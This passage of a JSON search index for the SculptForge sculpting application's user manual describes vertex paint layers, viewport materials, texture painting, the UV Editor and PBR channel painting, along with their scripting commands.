with the Paint menu open"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-while-sculpting","h":"Paint while sculpting","t":"Turn on Rgb on the top shelf (or RGB while sculpting in the Paint menu). Every sculpt brush then also paints the current colour along its stroke. The Smooth brush and Shift-smoothing never paint."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"choose-a-colour","h":"Choose a colour","t":"The left shelf has a colour picker (a square plus a hue strip), two swatches and a Fill button. Clicking the second swatch swaps it with the main colour. The Paint menu has a larger hue wheel with a hex value, ten preset swatches (white, near black, red, orange, yellow, green, blue, purple, skin and brown) and the fill buttons. Press C with the cursor over the model to pick the colour under it (the mesh needs vertex paint for this, or a texture while painting into the texture)."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"fill-cavity-paint-and-clear","h":"Fill, cavity paint and clear","t":"The Paint menu has four buttons: Button What it does Fill Fills the unmasked area with the colour (the whole mesh when nothing is masked). Same as Fill on the left shelf Fill masked Fills only the masked area. Available when the mesh has a mask Cavity Darkens the creases and cavities with a dark brown, respecting the mask. A quick way to bring out detail Clear Removes all vertex paint from the active Part All of them are undoable. Show vertex paint in the same palette (or Paint on the right shelf) turns the colours off in the viewport without deleting them. Tip: To paint a base colour and then dirt in the creases: Fill with the base colour, then Cavity. For a different cavity colour or strength, use the command (below)."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-layers","h":"Paint layers","t":"Paint layers stack vertex paint the way Photoshop stacks image layers. Each layer has its own name, visibility, opacity and blend mode, so you can paint dirt on a Multiply layer, glow on a Screen layer or tint on an Overlay layer, then change or hide it later without repainting the rest. Every Part has its own stack. Tool > Paint Layers: Base, a Multiply dirt layer, a Soft Light tint and an empty Normal layer"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"how-paint-layers-work","h":"How paint layers work","t":"Base is the bottom layer: the Part's vertex paint, always opaque. With only Base, vertex paint works exactly as it did before, and nothing changes in your files. Layers above Base start transparent. Painting on a layer adds colour and coverage: where you haven't painted, the layer is see-through. Painting never touches the layers you aren't on. What you see, and what every export writes, is the stack composited from Base up: each visible layer blends its colour over the result below with its blend mode, scaled by its coverage and opacity. Blending happens on display colours, like Photoshop, so the modes behave as Photoshop users expect: 50% grey on an Overlay or Soft Light layer changes nothing, white on Multiply changes nothing, black on Screen changes nothing. The Paint brush, Rgb while sculpting, Fill, Fill masked and Cavity all write into the active layer (highlighted in the list; the Paint menu shows \"Painting on: ...\"). They respect the mask and hidden faces on every layer. With the Paint brush on a layer, Alt erases the layer's paint (on Base it paints back towards white, as before). A hidden or locked layer can't be painted, filled or cleared; the status line says why."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"blend-modes","h":"Blend modes","t":"Mode Effect Normal The layer's colour covers what is below Multiply Darkens: dirt, shadows, cavity grime. White does nothing Screen Lightens: highlights, glow, dust. Black does nothing Overlay Adds contrast and tints the midtones. 50% grey does nothing Soft Light A gentler Overlay, good for skin tints and colour variation Add Adds the colours (Photoshop's Linear Dodge); strong highlights Subtract Subtracts the layer's colour Darken / Lighten Keeps the darker / lighter colour, channel by channel Difference The difference between the colours; useful for checking two paint passes against each other"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"the-paint-layers-sub-palette","h":"The Paint Layers sub-palette","t":"Open Tool > Paint Layers in the right tray (it sits under the sculpt Layers sub-palette). The list shows the layers top first, with Base at the bottom, like Photoshop's Layers panel. Each row has the name, the blend mode and opacity, a lock and an eye. Click a row to paint on that layer. Double-click it to rename. Right-click for Rename, Duplicate, Merge down, Clear and Delete. The eye shows or hides the layer; the lock protects it from painting, fills, clears and merges. Under the list: the active layer's blend mode and Opacity slider. The opacity previews live while you drag and is one undo step when you let go. New adds a transparent layer above the active one. Duplicate copies the active layer (Base becomes an opaque layer). Delete removes the active layer. The arrows move the active layer up or down. Merge down merges it into the layer below (into Base for the lowest layer). Flatten bakes every visible layer into Base and removes the layers; hidden layers are discarded. Clear layer makes the active layer transparent again (Base: white). Fill layer fills it with the current colour, like Fill in the Paint menu. Hold Ctrl over any control for its description. Every action is undoable with Ctrl+Z. Tip: Merging onto Base, and merging a layer onto a Normal layer it fully covers, keeps the look exactly. Merging a Multiply, Overlay or other blended layer onto a partly transparent layer can't always match, so the result takes the lower layer's blend mode, as in Photoshop."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-layers-and-sculpt-layers","h":"Paint layers and sculpt layers","t":"They are separate stacks. Tool > Layers holds sculpt layers: shape changes exported as blend shapes. Tool > Paint Layers holds colour. Selecting a sculpt layer doesn't change the paint layer you paint on, and the other way round, so a stroke with Rgb on can sculpt into the \"Smile\" layer and paint into the \"Blush\" layer at once."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"files-parts-and-geometry","h":"Files, Parts and geometry","t":"Paint layers are saved in projects (.sfproj) with their names, blend modes, opacity, visibility, lock and the active layer. Older versions of SculptForge open these projects with the paint flattened. Exports (OBJ, PLY, glTF/GLB, USD, Bridge) write the composited colours, exactly what the viewport shows. Duplicating a Part copies its layers, and Split keeps them on each piece. Subdividing and decimating keep them too. Merging Parts, a voxel remesh and other rebuilds keep the look but flatten the layers into Base."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"materials-lit-spheres","h":"Materials (Lit Spheres)","t":"Materials change only how the model is shaded in the viewport. They aren't exported and don't change vertex paint. Material Look Soft Clay The default: a matte warm light grey with a clear light and shadow side and a soft rim Sculpt Made for sculpting: neutral warm clay under a strong key light from the upper left, a crisp highlight and deep cavity shading, so small strokes and undulations stay readable Red Wax Glossy deep red wax, the classic sculpting look Clay Matte grey-brown clay Skin Warm, soft skin tones Chrome Mirror-like metal, good for checking surface flow White Neutral off-white for judging forms Bronze Polished bronze Studio Softer clay shading with studio lighting (the default in earlier versions). Its colour is Base colour in Render > Materials To choose one: Press M for the material picker under the cursor, or click the Material tile on the left shelf. Point at a material to preview it on the model, click to keep it. Esc or clicking away puts the previous material back. Open Render > Materials, or the Material tab of the Library. The material picker with the built-in Lit Spheres and Studio Vertex Paint multiplies the material, and cavity shading stays on with every material (strongest with Sculpt). The material is saved with the project: projects saved with Studio open with Studio. Colour tints the material (in the Paint menu, on by default): on a Part with no vertex paint yet, the current colour tints its Lit Sphere material, so you can try a skin, stone or bronze tone without painting anything. The colour's hue and saturation tint it; grey (the starting colour) and black leave the material as it is, and the material keeps its own light and shade. Once a Part has vertex paint, the paint shows instead. PBR shading uses the material channels and is not tinted. Saved with the project. Tip: Sculpt is the material to judge strokes with. The prettier ones (Skin, Red Wax) soften small detail; switch to them for presenting."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"your-own-lit-spheres","h":"Your own Lit Spheres","t":"A Lit Sphere is a picture of a lit sphere (Sloan and others, 2001): the view colours each point of the model with the sphere's colour where its surface faces the same way. Any lit-sphere image works: a square PNG, JPG or EXR with the sphere filling it (a non-square image is cropped to its centre; big ones are scaled to 1024 pixels). Render > Materials > Load Lit Sphere... picks an image. It joins the material list under its file name, the view uses it, and a copy goes into the Lit Spheres folder of your library (Documents/SculptForge/Lit Spheres, or the folder set in Edit > Preferences > Library), so it is there next time. Or put images into that Lit Spheres folder yourself: they show up the next time you open the material picker, Render > Materials or the Library's Material tab, no restart needed. Studios can share a read-only folder by listing it in the SCULPTFORGE_MATCAP_PATH environment variable (separated by :, ; on Windows); those load when SculptForge starts. To remove one, right-click it in the material picker or palette and choose Remove. An image from your Lit Spheres folder goes to the trash (the Recycle Bin on Windows), so you can still get it back. On macOS it is only hidden until you restart, and the message says where its file is so you can delete it yourself. Built-in materials can't be removed. A Lit Sphere loaded from an image (Gold) in Render > Materials Your Lit Spheres appear in the material picker (M), Render > Materials and the Library, after the built-in ones. A project that uses one carries a copy of the image, so it opens with the same look on another computer (or after you delete the file). Loading an image with the same name again replaces it. EXR images are read as linear light, so very bright highlights clip to white."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"smooth-and-flat-shading","h":"Smooth and flat shading","t":"Smooth shading (the default) blends the light across polygons, so the surface reads as one form. Flat shading lights every polygon on its own, so you see the faces: how the mesh is built, where its vertices sit, and exactly what a stroke, crease or pinch did to the geometry, without smooth blending hiding small lumps. It helps most when blocking out forms on a low-poly base mesh. Render > Materials > Shading: Smooth | Flat for the whole scene. The same buttons are in Tool > Display. This Part: Scene (the default) follows the scene's shading; Smooth or Flat keeps the active Part that way whatever the scene says, for example a flat body with smooth eyes. Smooth and Flat shading on the template head, with its eyes kept smooth Shading works with every material, vertex paint, textures and the mask. Like the material, it only changes the view: exports are unaffected. Projects save the scene's shading and each Part's own; projects from before open with your preferred shading. The scene's shading you choose is also the preference for the next session once you Store Config (Ctrl+Shift+I). Smooth and Flat have no default shortcut, so no classic key changes meaning; assign one under Edit > Preferences > Hotkeys if you switch often. Not yet: loading your own Lit Sphere images, and physically based materials or BPR-style renders."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"scripting","h":"Scripting","t":"Command What it does set_color color=#c08060 Set the paint colour: rrggbb, #rrggbb (quote it in scripts), r,g,b or a name such as white, skin, bone paint_fill area=unmasked Fill; area is unmasked (default), masked or all; strength 0-1 paint_from_cavity color=#202020 strength=0.7 smoothing=2 Cavity paint (defaults: dark brown, 0.7, 2 blur passes) paint_clear Remove all vertex paint, paint layers included paint_layer_add name=Dirt blend=multiply opacity=0.8 Add a paint layer above the active one and paint on it paint_layer_set index=0 opacity=0.5 blend=overlay visible=false locked=true name=Grime Change a layer (layer=Dirt picks it by name; default: the active layer) paint_layer_select layer=Base Paint on another layer (index=-1 is Base, 0 the first layer above it) paint_layer_duplicate, paint_layer_delete, paint_layer_clear Copy, delete or clear the active (or given) layer paint_layer_move direction=up Move a layer up or down the stack paint_layer_merge / paint_layer_flatten Merge down / bake every visible layer into Base paint_layer_list List the layers, top first (* marks the active one) set_material name=Chrome Viewport material: a Lit Sphere name (Soft Clay is the default, your own Lit Spheres included) or studio (desktop app only) load_matcap path=gold.png Load a Lit Sphere image and use it; keep=false doesn't copy it into the Lit Spheres folder (desktop app only) remove_matcap name=Gold Remove one of your Lit Spheres; its image in the Lit Spheres folder goes to the trash (desktop app only) set_background mode=flat color=60,70,80 The view's background: gradient (the default) or flat with a colour (#rrggbb, r,g,b or a name); see The background (desktop app only) set_shading mode=flat The scene's shading: smooth (the default) or flat (desktop app only) subtool_shading mode=smooth name=Eyes A Part's own shading: default (follow the scene), smooth or flat; index or name picks the Part (default: the active one) set_color color=\"#d9b38c\"; paint_fill; paint_from_cavity strength=0.5 paint_layer_add name=Dirt blend=multiply opacity=0.8; paint_from_cavity color=4a2c18 strength=0.9"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"see-also","h":"See also","t":"Masking: protect areas from painting Sculpt layers and blend shapes: the shape counterpart of paint layers Sculpting and brushes: Draw Size, Falloff, strokes and alphas also apply to painting Exporting: which formats carry vertex colours"},{"p":"texture-painting.html","c":"Texture painting","a":"","h":"Texture painting","t":"Texture painting puts the colour into an image laid over the model's UVs, instead of on its vertices. The detail you can paint then comes from the texture's resolution, not from how dense the mesh is: a 4K texture on a light, game-ready mesh holds pores, freckles and sharp decals that vertex paint could only show on millions of polygons. Everything you know from vertex paint still applies: the same Paint brush, colours, fills, symmetry, mask and paint layers with blend modes. Texture painting: a sharp texture stroke above a soft vertex paint stroke, with the UV view in Tool > Texture Map The texture can also carry roughness, metallic, normal, height, AO, emission and opacity, painted in the same strokes: see Material painting (PBR)."},{"p":"texture-painting.html","c":"Texture painting","a":"start-in-one-click","h":"Start in one click","t":"Press P for the Paint brush (or turn on Rgb). While the Part has no texture, New Texture appears on the top shelf and in the Paint menu. Click it: if the model has no UVs, SculptForge runs Auto UV first (in the background; the status bar shows its progress), then gives it a white texture (2K, or the size chosen in Tool > Texture Map) and switches painting to Texture. Paint away. The steps below do the same thing by hand, with more choices."},{"p":"texture-painting.html","c":"Texture painting","a":"paint-a-texture-in-four-steps","h":"Paint a texture in four steps","t":"Open Tool > Texture Map in the right tray. If the Part has no UVs (the sub-palette says \"No UVs\"), click Auto UV. SculptForge cuts the model into UV islands and packs them into the texture square. It works in the background with a progress bar; on a few hundred thousand triangles it takes seconds, on millions it can take a minute or more. Models imported with UVs already have them: skip this step. Choose a size (1K, 2K, 4K or 8K; 2K is the default) and click New Texture. The model now carries a white texture, and painting goes into it: Texture lights up next to Vertex on the top shelf. Press P and paint. Draw Size, RGB Intensity, pen pressure, the stroke type, the alpha, symmetry and the mask work as they do for vertex paint. Click Show UVs to see the texture with the UV layout drawn over it, below the buttons, or open the UV Editor (Alt+U) to cut seams, unwrap, pack and edit the UVs. Paint on the model and watch the texture fill in."},{"p":"texture-painting.html","c":"Texture painting","a":"vertex-or-texture","h":"Vertex or Texture","t":"When a Part has a texture, Vertex and Texture appear on the top shelf next to Rgb (and in the Color, Paint Layers and Texture Map palettes). They choose where paint goes: Texture: the Paint brush, Rgb while sculpting, Fill, Fill masked, Cavity, Clear and the Paint Layers palette work on the texture. Vertex: they work on the vertex paint, exactly as before. The model shows both: the vertex paint multiplied by the texture, over the material. If paint looks as coarse as the mesh's polygons, it is going into the vertices: check that Texture is lit, and that the Part carries no old vertex paint (Tool > Paint Layers, or Vertex Paint > Texture to move it into the texture). Texture paint itself is as sharp as the texture: a hard alpha gives the same texels on a two-triangle plane as on a dense mesh. Each Part keeps its own choice, saved in the project. Show texture (Texture Map, or the Paint menu) hides the texture in the viewport without deleting it."},{"p":"texture-painting.html","c":"Texture painting","a":"how-texture-painting-works","h":"How texture painting works","t":"Each texel under the brush gets its 3D position on the surface, so the falloff, the alpha and the brush size are the same as for vertex paint, and a stroke looks the same whatever the UV layout. Front faces only: the brush never paints through a thin part onto its far side, and never on surfaces facing away from you. The mask keeps masked areas as they are, and hidden faces are never painted. Symmetry paints the mirrored side too, even where the two sides have different UV islands. Around every UV island the paint runs on a few texels into the empty space (padding), so seams don't show as thin lines when the texture is filtered or mipmapped. One stroke is one undo step. SculptForge stores only the 64x64-texel tiles the stroke touched, so undo stays light even on an 8K texture. Layer edits (new layer, fill, clear, merge, flatten, delete) also keep only the tiles they changed, and an empty or single-colour tile costs almost nothing. Only an edit that changes a whole painted layer at once, like clearing a fully painted Base, stores the full layer. Alt paints back towards white on Base, and erases on a paint layer, as with vertex paint. C over the model picks the texture's colour under the cursor. Tip: Painting stays fast with big textures on big meshes: only the triangles under the brush are visited, the texels are painted on every core, and only the changed 64x64 tiles of the texture are sent to the graphics card. A big brush on a 4K texture takes a few milliseconds per dab. Memory is the limit: a 4K texture takes 64 MB per layer, an 8K texture 256 MB."},{"p":"texture-painting.html","c":"Texture painting","a":"paint-layers-on-a-texture","h":"Paint layers on a texture","t":"Tool > Paint Layers works on the texture's own stack while painting goes into the texture: new layers, blend modes, opacity, visibility, lock, Merge down, Flatten, Clear and Fill layer behave exactly as described in Paint layers. Switch to Vertex and the palette shows the vertex paint layers again; the two stacks are separate."},{"p":"texture-painting.html","c":"Texture painting","a":"convert-between-vertex-paint-and-texture","h":"Convert between vertex paint and texture","t":"Button What it does Vertex Paint > Texture Bakes the vertex paint (all its layers, as shown) into the active texture layer. Makes a 2K texture if there is none Texture > Vertex Paint Sets the vertex paint of every vertex to the texture's colour under it. Detail finer than the mesh is lost; vertices on a UV seam take the average of both sides Both are undoable. Vertex Paint > Texture is a quick way to move an existing vertex-painted sculpt onto a game mesh's texture after giving it UVs."},{"p":"texture-painting.html","c":"Texture painting","a":"import-and-export","h":"Import and export","t":"Export Texture... saves the texture (every visible layer composited) as a PNG. Import Texture... loads a PNG, JPEG, TGA, BMP or PSD as the Part's texture (it replaces the texture's layers; undoable). The image is laid on the UVs as it is, so a texture made for these UVs in another app lines up. Projects (.sfproj) save the texture with all its layers, blend modes and settings. Exporting the model writes the texture next to it as a PNG and references it, so other apps pick it up: OBJ writes a .mtl material with map_Kd; glTF/GLB embeds it as the base colour texture; USD binds a preview material that reads it; FBX and Bridge export write the PNG beside the file. See Exporting. Delete Texture removes it (undoable); painting goes back to the vertices."},{"p":"texture-painting.html","c":"Texture painting","a":"uvs-and-geometry","h":"UVs and geometry","t":"Auto UV replaces any existing UVs. If the Part already has a painted texture, the paint moves with it: every texel of the new layout takes the colour of the same point of the surface from the old one, for the Base and every texture layer (with their blend modes, opacity and names), and the islands get a padded border. It is one undo step: undo brings back the old UVs and the old texture exactly. Moving a 4K texture takes a fraction of a second on a million triangles (the unwrap itself takes longer; see below). The paint is resampled once, so very fine detail softens slightly (well under one texel). Subdividing, decimating, splitting and duplicating keep the UVs, so the texture stays on. Decimate leaves the vertices on UV seams in place, so the texture stays exact across seams. Keep Texture (on by default, shown under Tool > Remesh and Tool > Geometry > Quad Remesh when the Part has a texture): a voxel remesh or Quad Remesh builds a new surface without UVs, so SculptForge unwraps the result with Auto UV and projects the texture onto it from the old surface (each new texel takes the colour of the closest point of the old one), keeping every layer. It is part of the same undo step. It adds the time of an Auto UV of the result, so a voxel remesh of a painted Part runs in the background with a progress bar and Cancel. Turn it off to drop the texture instead (the status line says so). Paint finer than the new surface's detail is kept, since it lives in the texture. Merging Parts keeps their textures: the merged Part gets Auto UVs and one texture (the size of the largest) holding each part's paint, with the texture layers flattened. Parts without a texture come out white. Auto UV on dense meshes: the islands are kept to about 4,000 triangles each, so a million-triangle sculpt unwraps in a quarter of a minute or so and gets a few hundred islands. UVs outside the 0-1 square (other UDIM tiles) aren't painted yet; the UV Editor lays them out."},{"p":"texture-painting.html","c":"Texture painting","a":"scripting","h":"Scripting","t":"Command What it does uv_auto Unwrap the active Part (xatlas); resolution=4096 packs the islands for that texture size. A painted texture moves onto the new UVs (keep_texture=false leaves it as it was) texture_create size=2048 Give the Part a texture (1024, 2048, 4096, 8192 or 1k...8k) and paint into it; from_polypaint=true starts from the vertex paint paint_target target=texture Where painting goes: vertex or texture texture_from_polypaint Bake the vertex paint into the active texture layer polypaint_from_texture Copy the texture into the vertex paint texture_export path=skin.png Save the texture as a PNG texture_import path=skin.png Load an image as the texture texture_delete Remove the texture remesh, qremesh, subtool_merge_down and subtool_merge_visible keep a texture unless you add keep_texture=false. paint_fill, paint_from_cavity, paint_clear and every paint_layer_* command work on the texture while paint_target is texture. See Scripting and automation."},{"p":"uv-editor.html","c":"UV Editor","a":"","h":"UV Editor","t":"The UV Editor shows a Part's UVs flat, over the texture's tiles, and gives you everything to make them: seams drawn on the model, unwrapping that keeps the surface's shape, packing into one tile or across UDIM tiles, texel density, trim sheets, and hand editing of vertices, edges, faces and islands. While you work, the model shows the same colours and a checker, so stretch and density show up on the surface the moment they appear, and a painted texture can move with every edit so the model keeps its look. Open it with Tool > Texture Map > UV Editor, or Alt+U. It opens over the right of the canvas with the model moved to the left; drag its title bar or its edges to place it anywhere. The UV Editor: the lion's islands after Unwrap, with island colours and a checker on the model"},{"p":"uv-editor.html","c":"UV Editor","a":"the-window","h":"The window","t":"Select (top left): what clicks pick, Vertex, Edge, Face or Island (1-4 while the pointer is over the view). The selection converts when you switch. Colours: what the faces show, in the view and on the model: Islands (a colour each), Stretch, Density (texel density) or Plain. Image: what's behind the layout: nothing, a Checker, or the Part's painted Texture (tile 1001). On model: Colours shows the same colours on the model, Checker lays a checker on its UVs (a square per 32 texels of the texture, tinted per UDIM tile). Squares that stay square mean no stretch. Frame (F over the view) fits the selection, or the whole layout, in the view; Home shows tile 1001. The status line under the view: islands, what's selected, the mean stretch, the texel density and the UDIM tiles in use. The sections on the right: Unwrap (with the seams), Pack, Texel Density, Trim Sheet, Edit and Display. The view is drawn by the graphics card, so a million-triangle layout pans, zooms and moves as smoothly as a small one. Scroll to zoom (around the pointer); drag with the right or middle button to pan. The UDIM tile numbers are written in each tile's corner."},{"p":"uv-editor.html","c":"UV Editor","a":"selecting","h":"Selecting","t":"Click to select (Shift adds, Ctrl removes); drag on an empty spot for a box. In Island mode the box picks every island it touches; in Face mode the faces inside it. A selects everything, Alt+A nothing, Ctrl+I inverts. Select in 3D (Unwrap section): click or drag over the model to select there, in the current mode; Shift adds, Alt removes. The selection shows orange in both views. Moving a vertex moves all of its corners that are joined in UV space, so islands stay in one piece while you edit them; edges along a seam move each side on its own."},{"p":"uv-editor.html","c":"UV Editor","a":"moving-rotating-and-scaling","h":"Moving, rotating and scaling","t":"The selection has a box with handles: drag inside it to move, a corner to scale, the knob above it to rotate. Or press G (move), R (rotate) or S (scale) over the view, move the mouse, and click (or Enter) to finish; a right click or Esc puts it back. During G and S, X or Y locks to one axis; Ctrl snaps (1/64 of a tile, 15 degrees, tenths of the size). The model's stretch colours and checker follow the drag live. Each drag is one undo step."},{"p":"uv-editor.html","c":"UV Editor","a":"seams","h":"Seams","t":"Seams are the edges Unwrap cuts along. They show in red on the model while the UV Editor is open, and in red in the view. Seam Tool: drag along the model over the edges you want cut. Each stretch follows the shortest edge path from where the last one ended, so you can draw a loop around an arm in a few strokes. Alt+drag clears seams the same way. A ring under the pointer shows the vertex the next stretch starts from. Mark Seam / Clear Seam: the selected edges, or the border of the selected faces. Face Groups: every face group border becomes a seam. Island Borders: the borders of the current UV islands become seams (keeps an imported layout's cuts). Sharp Edges: every edge sharper than the angle beside it (hard-surface models). Clear All. Seams drawn with the Seam Tool across the mane, in red on the model"},{"p":"uv-editor.html","c":"UV Editor","a":"unwrapping","h":"Unwrapping","t":"Pick a method and click Unwrap. With faces selected it says Unwrap Selected: only those are unwrapped, and their new islands are fitted where the old ones were; otherwise the whole Part is unwrapped and packed. Method What it does Least Stretch (the default) Cuts along the marked seams and flattens each piece keeping both angles and lengths (a conformal start, then as-rigid-as-possible steps). The best all-round choice Conformal (LSCM) Keeps angles exactly; big curved pieces get smaller towards their ends By Face Groups Least Stretch, also cut along every face group border: group the model, then unwrap Planar Projects each piece flat along its mean direction: for flat panels and decals Unfold Islands Flattens the current islands again where they are, keeping pinned UVs in place: relax after editing Auto Seams Finds its own seams (as Auto UV does), for models you don't want to cut by hand Refine sets how many least-stretch steps run (more keeps lengths better; 0 is plain conformal). You don't have to cut everything yourself: a piece that is closed (a sphere), a tube or has holes gets the extra cuts it needs automatically, a closed shell split across its middle and a tangled piece cut into charts the way Auto Seams would. Without marked seams, a Part that already has UVs is cut along its current island borders. Unwraps of big meshes run in the background with their progress over the view; a million triangles take a few seconds."},{"p":"uv-editor.html","c":"UV Editor","a":"packing-and-udim-tiles","h":"Packing and UDIM tiles","t":"Pack lays the selected islands (or all) out as large as they fit: each turned to its smallest box, scaled to one texel density (Equal density; off keeps their sizes relative to each other), with Margin texels between them. Rotate also allows quarter turns. SculptForge tries packing by the islands' outlines and by their boxes and keeps whichever holds them larger. UDIM Tiles spreads the islands over that many tiles, 1001, 1002 and on (ten per row, as UDIM numbers go), each island at the same texel density: more tiles, more texels for everything. Pack at Density instead keeps exactly the target texel density and opens as many tiles as it needs. Packed across UDIM tiles 1001 and 1002"},{"p":"uv-editor.html","c":"UV Editor","a":"texel-density","h":"Texel density","t":"Texel density is how many texels of the texture cover a unit of the surface. The Texel Density section shows the selected islands' density (or the mean) at the texture's size (or the size you choose when there is no texture yet), and the Density colours show it on every face: green is the mean, blue fewer texels, red more. Set: scale the selected islands (or all) to the target density (texels per unit). Match: give them all their mean density, so a detail looks the same size everywhere. Pick: take the target from the selection. Pack at Density: pack at exactly the target (see above). Stretch on the model and in the view while the UVs are edited"},{"p":"uv-editor.html","c":"UV Editor","a":"trim-sheets","h":"Trim sheets","t":"A trim sheet is a texture made of horizontal strips (a moulding, a belt, a seam of rivets), each repeating left to right. In Trim Sheet, describe the strips: a count (4 equal strips), heights from the top (0.5,0.25,0.25) or v ranges (0-0.5;0.5-1); they show over tile 1001 while the section is open. Pick a strip and click Assign to Strip: the selected islands are turned lengthwise, scaled to the strip's height and lined up along it from the left. Fit width squeezes or stretches the row to fill the strip exactly; off, it keeps its proportions and may run past the right edge, which is fine on a trim that repeats. The texture doesn't move for trims: the islands take on the strip's look. An island laid into the second of four trim strips"},{"p":"uv-editor.html","c":"UV Editor","a":"editing","h":"Editing","t":"Button Over the view What it does Pin / Unpin P / Alt+P Pinned UVs (blue dots) stay where they are when you Unwrap or Unfold Weld W Selected vertices that meet across a seam become one UV each, and the seam between them goes Split Y The selected edges, or the border of the selected faces, become seams, so those faces move on their own Straighten The selected vertices (a border, an edge loop) line up on one horizontal or vertical line Rotate 90 A quarter turn of the selection (or everything) Flip U / Flip V Mirror the selected islands left to right or top to bottom A good relax workflow: straighten or move the borders you care about, pin them, then Unfold Islands."},{"p":"uv-editor.html","c":"UV Editor","a":"paint-stays-on-the-model","h":"Paint stays on the model","t":"Paint stays on the model (at the bottom of the sections, on by default): when the Part has a painted texture, every UV edit (unwrap, pack, a drag, density, weld...) moves the paint onto the new layout in the same undo step, every texture layer with it, so the model looks exactly the same. Undo brings back the old UVs and the old texels. Turn it off when you want the UVs to pick a different part of the texture (as trim sheets do); the trim command leaves it off by default."},{"p":"uv-editor.html","c":"UV Editor","a":"undo","h":"Undo","t":"Every UV operation is one undo step (Ctrl+Z), drags included: the UVs, seams and pins, and the texture when it moved with them. Seams and pins are saved with the project."},{"p":"uv-editor.html","c":"UV Editor","a":"scripting","h":"Scripting","t":"Every operation is a command, for scripts, sculptforge-cli, Python (sf.run(doc, \"uv_unwrap\", method=\"isometric\")) and the AI assistant. \"The selection\" is the UV Editor's (set it with uv_select); with nothing selected the commands work on the whole Part. Command What it does uv_unwrap Unwrap: method=isometric (Least Stretch), conformal, polygroups (By Face Groups), planar, unfold or auto; iterations=, selected=, tiles=, margin=, rotate=, density=, pack=false (fit in place), keep_texture= uv_pack Pack: margin= (texels), tiles= (UDIM tiles), first_tile=, rotate=, equal_density=, density= (texels per unit, as many tiles as needed), resolution=, keep_texture= uv_seam Seams: op=mark / clear (the selection), path from= to= (shortest edge path between two vertices; clear=true), polygroups, islands, angle angle=60, clear_all uv_select op=all, none, invert, island face=, face face=, polygroup group=, rect u0= v0= u1= v1=, seams, mode; mode=vertex/edge/face/island, add=true uv_transform move_u=, move_v=, rotate= (degrees), scale=, scale_u=, scale_v= about the selection's centre uv_edit op=pin, unpin, clear_pins, weld, split, straighten, flip_u, flip_v uv_density op=set value=, op=match (match=mean or first), op=info; resolution= uv_trim strip=2 strips=4 (or 0.5,0.25,0.25 or 0-0.5;0.5-1), fit_width=, margin= uv_info Islands, seams, pins, texel density, the UDIM tiles in use and the mean stretch uv_seam op=face groups uv_unwrap method=isometric uv_pack tiles=2 margin=8 uv_density op=match uv_info"},{"p":"uv-editor.html","c":"UV Editor","a":"limits","h":"Limits","t":"Texture painting paints tile 1001 (UVs between 0 and 1); islands in other UDIM tiles are laid out, measured and exported, but painting them comes later. Packing works on islands' outlines when there are enough of them and the mesh isn't huge; otherwise on their boxes (a little less tight). Experienced sculptor? The UV Editor covers UV editing and auto UV: seams on the model, several unwraps, UDIM packing, texel density and trim sheets, plus live stretch and density on the model while you edit and paint that stays put when the UVs change."},{"p":"uv-editor.html","c":"UV Editor","a":"see-also","h":"See also","t":"Texture painting: paint on the UVs Baking: bake maps onto them Exporting: UVs go out with OBJ, glTF, FBX and USD"},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"","h":"Material painting (PBR)","t":"A painted texture can carry more than colour. Turn on material channels and the Paint brush paints how rough, how metallic, how bumpy and how bright the surface is, all in one stroke, the way game engines and renderers describe materials (physically based rendering, PBR). Every channel lives on the same UVs and paint layers as the colour from Texture painting, and goes out to Unreal, Unity, Godot, Blender, glTF and USD with Export presets. Solo roughness view: a glossy horizontal stroke on Base and a rough vertical stroke on a layer"},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"the-channels","h":"The channels","t":"Channel What it holds Stored as Base Color The surface colour. Always there. 8-bit sRGB (the texture you already paint) Roughness 0 is mirror-like, 1 fully matte. Starts at 0.65. 8-bit Metallic 0 for paint, stone, skin, plastic; 1 for bare metal. Starts at 0. 8-bit Normal Fine surface direction, a tangent-space normal map (OpenGL, green up). Starts flat. 8-bit RGB Height Painted relief, 0.5 = none. Also adds to the normal (\"height to normal\"). 16-bit Ambient Occlusion How much light reaches crevices, 1 = open. 8-bit Emissive Light the surface gives off, black = none. 8-bit sRGB Opacity 1 = opaque. Exported in the base colour's alpha. 8-bit A channel you turn on costs no memory until you paint it: channels are stored as 64 x 64 tiles, and a tile nobody painted is not stored at all (a tile of one value is stored as that one value). Turning a channel off discards what was painted in it; Undo brings it back."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"turn-channels-on","h":"Turn channels on","t":"Give the Part a texture (Texture painting). Open Tool > Texture Map. Under Material Channels, tick the channels you want (for a typical game asset: Roughness, Metallic and Normal; add Height to paint relief, Ambient Occlusion to paint dirt into crevices). Channel memory below the ticks shows what the painted tiles use; the same number, for every Part, is in Edit > Preferences > Performance under Memory."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"paint-a-material","h":"Paint a material","t":"Open the Paint menu. With a material texture, a Material section appears under the swatches: Paint > Material: material swatches, and per channel a tick, value swatches and a slider; Material Channels in Tool > Texture Map Material swatches set the colour, roughness and metallic at once (bare metal, gold, copper, rust, gloss paint, rubber, stone, clay) and make the brush paint those channels. One row per channel: the tick says whether the brush paints that channel; the five grey squares pick 0, 25, 50, 75 or 100%; the slider sets any value. Normal has two tilt sliders (0, 0 paints a flat normal). Emissive has a colour. Untick Base Color to paint only roughness (a wet patch, a polished edge) without touching the colour. Every stroke is one undo step for all the channels it painted. The brush's falloff, alpha, pen pressure, symmetry and mask apply to every channel alike; erasing (Alt) paints Base back to each channel's default and makes layers transparent. C over the model picks the whole material: the colour and every channel under the cursor become the brush material, and the brush then paints all of the texture's channels."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"layers-and-channels","h":"Layers and 